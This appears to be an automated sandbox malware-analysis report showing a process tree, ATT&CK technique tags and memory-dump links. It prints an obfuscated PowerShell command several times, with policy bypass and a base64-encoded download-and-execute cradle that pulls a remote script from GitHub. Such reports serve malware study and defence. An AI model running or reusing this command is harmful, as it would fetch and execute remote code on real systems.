cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
- Suspicious use of WriteProcessMemory
PID:2864
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:2464

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/912-195-0x0000018E6C6C6000-0x0000018E6C6C8000-memory.dmp

Filesize
8KB

Download
memory/912-257-0x0000018E6C6C8000-0x0000018E6C6CA000-memory.dmp

Filesize
8KB

Download
memory/912-199-0x0000018E6C6C3000-0x0000018E6C6C5000-memory.dmp

Filesize
8KB

Download
memory/912-196-0x0000018E6C6C0000-0x0000018E6C6C2000-memory.dmp

Filesize
8KB

Download
memory/2024-174-0x000001C253346000-0x000001C253348000-memory.dmp

Filesize
8KB

Download
memory/2024-151-0x000001C253343000-0x000001C253345000-memory.dmp

Filesize
8KB

Download
memory/2024-150-0x000001C253340000-0x000001C253342000-memory.dmp

Filesize
8KB

Download
memory/2024-194-0x000001C253348000-0x000001C25334A000-memory.dmp

Filesize
8KB

Download
memory/2464-359-0x0000015E68C20000-0x0000015E68C22000-memory.dmp

Filesize
8KB

Download
memory/2464-414-0x0000015E68C28000-0x0000015E68C29000-memory.dmp

Filesize
4KB

Download
memory/2464-360-0x0000015E68C23000-0x0000015E68C25000-memory.dmp

Filesize
8KB

Download
memory/2464-363-0x0000015E68C26000-0x0000015E68C28000-memory.dmp

Filesize
8KB

Download
memory/3480-260-0x000001FE60B66000-0x000001FE60B68000-memory.dmp

Filesize
8KB

Download
memory/3480-259-0x000001FE60B63000-0x000001FE60B65000-memory.dmp

Filesize
8KB

Download
memory/3480-258-0x000001FE60B60000-0x000001FE60B62000-memory.dmp

Filesize
8KB

Download
memory/3480-269-0x000001FE60B68000-0x000001FE60B6A000-memory.dmp

Filesize
8KB

Download
memory/3968-133-0x0000012E708A0000-0x0000012E708A1000-memory.dmp

Filesize
4KB

Download
memory/3968-122-0x0000012E6FD73000-0x0000012E6FD75000-memory.dmp

Filesize
8KB

Download
memory/3968-128-0x0000012E6FD76000-0x0000012E6FD78000-memory.dmp

Filesize
8KB

Download
memory/3968-123-0x0000012E704A0000-0x0000012E704A1000-memory.dmp

Filesize
4KB

Download
memory/3968-134-0x0000012E70C30000-0x0000012E70C31000-memory.dmp

Filesize
4KB

Download
memory/3968-278-0x0000012E6FD78000-0x0000012E6FD79000-memory.dmp

Filesize
4KB

Download
memory/3968-118-0x0000012E6FF20000-0x0000012E6FF21000-memory.dmp

Filesize
4KB

Download
memory/3968-121-0x0000012E6FD70000-0x0000012E6FD72000-memory.dmp

Filesize
8KB

Download